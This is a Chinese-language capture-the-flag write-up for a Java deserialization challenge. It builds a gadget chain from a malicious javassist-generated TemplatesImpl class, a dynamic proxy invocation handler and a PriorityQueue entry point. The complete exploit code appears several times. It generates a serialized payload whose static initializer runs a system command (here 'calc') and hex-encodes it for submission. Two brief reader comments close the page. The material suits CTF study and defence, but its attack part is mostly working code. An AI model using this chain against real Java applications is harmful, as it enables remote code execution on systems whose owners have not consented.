public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } public static TemplatesImpl generateEvilTemplates() throws Exception { ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); CtClass cc = pool.makeClass("Cat"); String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");"; // 创建 static 代码块,并插入代码 cc.makeClassInitializer().insertBefore(cmd); String randomClassName = "EvilCat" + System.nanoTime(); cc.setName(randomClassName); cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); // 转换为bytes byte[] classBytes = cc.toBytecode(); byte[][] targetByteCodes = new byte[][]{classBytes}; TemplatesImpl templates = TemplatesImpl.class.newInstance(); setFieldValue(templates, "_bytecodes", targetByteCodes); // 进入 defineTransletClasses() 方法需要的条件 setFieldValue(templates, "_name", "name" + System.nanoTime()); setFieldValue(templates, "_class", null); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); return templates; }
这里使用了javassist来构造一个恶意类。而最终只要我们能够调用到TemplatesImpl
的getOutputProperties
或者newTransformer
方法即可实现类加载。调用链如下
TemplatesImpl#getOutputProperties -> TemplatesImpl#newTransformer -> TemplatesImpl#getTransletInstance -> TemplatesImpl#defineTransletClasses -> loader.defineClass(_bytecodes[i])
那么如何能够调用这两个方法呢?可以依靠题目中给出的动态代理
触发动态代理
动态代理会依次调用type类中的无参方法
public class MyInvocationHandler implements InvocationHandler, Serializable { private Class type; public MyInvocationHandler() { } public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { Method[] methods = this.type.getDeclaredMethods(); Method[] var5 = methods; int var6 = methods.length; for(int var7 = 0; var7 < var6; ++var7) { Method xmethod = var5[var7]; xmethod.invoke(args[0]); } return null; } }
我们可以给属性type
赋值为Templates
类,这样可以保证首先会调用到getOutputProperties
或者newTransformer
方法而不会抛出异常
public interface Templates { Transformer newTransformer() throws TransformerConfigurationException; Properties getOutputProperties(); }
下面可以构造出后半部分的链子了
import com.example.warmup.MyInvocationHandler; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Field; import java.lang.reflect.Proxy; import java.util.Comparator; import java.util.PriorityQueue; public class EXP { public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } public static TemplatesImpl generateEvilTemplates() throws Exception { ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); CtClass cc = pool.makeClass("Cat"); String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");"; // 创建 static 代码块,并插入代码 cc.makeClassInitializer().insertBefore(cmd); String randomClassName = "EvilCat" + System.nanoTime(); cc.setName(randomClassName); cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); // 转换为bytes byte[] classBytes = cc.toBytecode(); byte[][] targetByteCodes = new byte[][]{classBytes}; TemplatesImpl templates = TemplatesImpl.class.newInstance(); setFieldValue(templates, "_bytecodes", targetByteCodes); // 进入 defineTransletClasses() 方法需要的条件 setFieldValue(templates, "_name", "name" + System.nanoTime()); setFieldValue(templates, "_class", null); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); return templates; } public static void main(String[] args) throws Exception { TemplatesImpl templates = generateEvilTemplates(); //反射修改type属性值为Templates MyInvocationHandler myInvocationHandler = new MyInvocationHandler(); Class c = myInvocationHandler.getClass(); Field type = c.getDeclaredField("type"); type.setAccessible(true); type.set(myInvocationHandler,Templates.class); //代理接口为Comparator,便于后续调用compare方法 Comparator proxy = (Comparator) Proxy.newProxyInstance(MyInvocationHandler.class.getClassLoader(), new Class[]{Comparator.class}, myInvocationHandler); proxy.equals(generateEvilTemplates()); proxy.compare(generateEvilTemplates()); } }
最后我们只要保证调用的代理类方法有参,且第一个参数是我们的恶意TemplatesImpl
即可
下一步就是寻找反序列化入口了
寻找反序列化入口点
一般来说,我们在构造利用链的时候有以下几个常用的反序列化入口
HashMap.readObject() -> ... -> XXX.hashCode() -> ... HashMap.readObject() -> ... -> XXX.equals() -> ... ... -> XXX.toString() -> ... PriorityQueue.readObject() -> ... -> Comparator.compare() -> ...
由于我们需要调用代理类的一个有参方法,因此这里可供选择的有equals
方法和compare
方法。我们先来看看能否使用equals
方法作为入口点。
这里我以最常用的HashMap
集合类为例,在其putVal
方法中调用了equals
方法
final V putVal(int hash, K key, V value, boolean onlyIfAbsent, boolean evict) { Node<K,V>[] tab; Node<K,V> p; int n, i; if ((tab = table) == null || (n = tab.length) == 0) n = (tab = resize()).length; if ((p = tab[i = (n - 1) & hash]) == null) tab[i] = newNode(hash, key, value, null); else { Node<K,V> e; K k; if (p.hash == hash && ((k = p.key) == key || (key != null && key.equals(k)))) .... }
这里我们只需要将key赋值为代理类,将k赋值为恶意TemplatesImpl即可。调用链如下
HashMap#readObject -> HashMap#hash & HashMap#putVal -> proxy.equals(TemplatesImpl)
但实际执行会抛出如下空指针异常
原因是hashcode
方法同样会触发动态代理,但由于hashcode
无参,而invoke至少需要一个参数,因此会报空指针异常
事实上,不论是HashMap
,还是HashSet
等其他Hash集合类(实际上很多Hash集合类底层实现都是HashMap),在调用equals
方法进行元素比较前,都一定会调用hashcode
方法计算元素的hash值来保证元素的唯一性。
//HashMap#readObject中的putVal putVal(hash(key), key, value, false, false); static final int hash(Object key) { int h; return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); }
因此对于几个常用的集合类,在调用链调用equals
方法之前,很难绕过hashcode
这一方法。
而在7u21这条链子中同样用到了动态代理,其动态代理类为原生的AnnotationInvocationHandler
,并且其对于hashcode
、toString
等方法都进行了单独处理。
public Object invoke(Object var1, Method var2, Object[] var3) { String var4 = var2.getName(); Class[] var5 = var2.getParameterTypes(); if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) { return this.equalsImpl(var3[0]); } else if (var5.length != 0) { throw new AssertionError("Too many parameters for an annotation method"); } else { byte var7 = -1; switch(var4.hashCode()) { case -1776922004: if (var4.equals("toString")) { var7 = 0; } break; case 147696667: if (var4.equals("hashCode")) { var7 = 1; } break; case 1444986633: if (var4.equals("annotationType")) { var7 = 2; } } switch(var7) { case 0: return this.toStringImpl(); case 1: return this.hashCodeImpl(); case 2: return this.type; ... } } }
既然equals
方法无法利用,那么我们可以看看Comparator#compare
方法。在CC4中我们也曾利用该方法作为反序列化入口
我们直接跟到PriorityQueue#siftDownUsingComparator
private void siftUpUsingComparator(int k, E x) { while (k > 0) { int parent = (k - 1) >>> 1; Object e = queue[parent]; if (comparator.compare(x, (E) e) >= 0) break; queue[k] = e; k = parent; } queue[k] = x; }
这里存在可控的compare
方法,并且comparator
属性和参数x
我们都可以控制。其中x
参数的赋值处在PriorityQueue#heapify
方法中,只需控制属性queue
的值即可
private void heapify() { for (int i = (size >>> 1) - 1; i >= 0; i--) siftDown(i, (E) queue[i]); }
构造时由于PriorityQueue#add
方法也会触发compare
方法,因此这里我们最后再通过反射修改属性值
//初始化属性comparator为proxy类 PriorityQueue priorityQueue = new PriorityQueue(2); priorityQueue.add(1); priorityQueue.add(2); Object[] queue = {templates,templates}; setFieldValue(priorityQueue,"comparator",proxy); setFieldValue(priorityQueue,"queue",queue); serialize(priorityQueue);
完整EXP
构造链如下
PriorityQueue#readObject() -> PriorityQueue#heapify() -> PriorityQueue#siftDown()-> PriorityQueue#siftDownUsingComparator() -> proxy.compare(TemplatesImpl) -> MyInvocationHandler#invoke() -> TemplatesImpl#getOutputProperties -> TemplatesImpl#newTransformer -> TemplatesImpl#getTransletInstance -> TemplatesImpl#defineTransletClasses -> loader.defineClass(_bytecodes[i])
EXP
import com.example.warmup.MyInvocationHandler; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Field; import java.lang.reflect.Proxy; import java.util.Comparator; import java.util.PriorityQueue; public class EXP { public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } public static TemplatesImpl generateEvilTemplates() throws Exception { ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); CtClass cc = pool.makeClass("Cat"); String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");"; // 创建 static 代码块,并插入代码 cc.makeClassInitializer().insertBefore(cmd); String randomClassName = "EvilCat" + System.nanoTime(); cc.setName(randomClassName); cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); // 转换为bytes byte[] classBytes = cc.toBytecode(); byte[][] targetByteCodes = new byte[][]{classBytes}; TemplatesImpl templates = TemplatesImpl.class.newInstance(); setFieldValue(templates, "_bytecodes", targetByteCodes); // 进入 defineTransletClasses() 方法需要的条件 setFieldValue(templates, "_name", "name" + System.nanoTime()); setFieldValue(templates, "_class", null); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); return templates; } //序列化 public static void serialize(Object obj) throws IOException { ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } //反序列化 public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{ ObjectInputStream ois=new ObjectInputStream(new FileInputStream(Filename)); Object object=ois.readObject(); return object; } public static String bytesTohexString(String s) throws IOException { File file = new File(s); FileInputStream fis = new FileInputStream(file); byte[] bytes = new byte[(int) file.length()]; fis.read(bytes); if (bytes == null) { return null; } else { StringBuilder ret = new StringBuilder(2 * bytes.length); for(int i = 0; i < bytes.length; ++i) { int b = 15 & bytes[i] >> 4; ret.append("0123456789abcdef".charAt(b)); b = 15 & bytes[i]; ret.append("0123456789abcdef".charAt(b)); } return ret.toString(); } } public static void main(String[] args) throws Exception { TemplatesImpl templates = generateEvilTemplates(); MyInvocationHandler myInvocationHandler = new MyInvocationHandler(); Class c = myInvocationHandler.getClass(); Field type = c.getDeclaredField("type"); type.setAccessible(true); type.set(myInvocationHandler,Templates.class); //代理接口为Comparator,便于后续调用compare方法 Comparator proxy = (Comparator) Proxy.newProxyInstance(MyInvocationHandler.class.getClassLoader(), new Class[]{Comparator.class}, myInvocationHandler); //初始化属性comparator为proxy类 PriorityQueue priorityQueue = new PriorityQueue(2); priorityQueue.add(1); priorityQueue.add(2); Object[] queue = {templates,templates}; setFieldValue(priorityQueue,"comparator",proxy); setFieldValue(priorityQueue,"queue",queue); serialize(priorityQueue); // unserialize("ser.bin"); System.out.println(bytesTohexString("ser.bin")); } }
兄弟,这个java的有writeup吗可以分享一下下嘛
没呀,网上都找不到这题的wp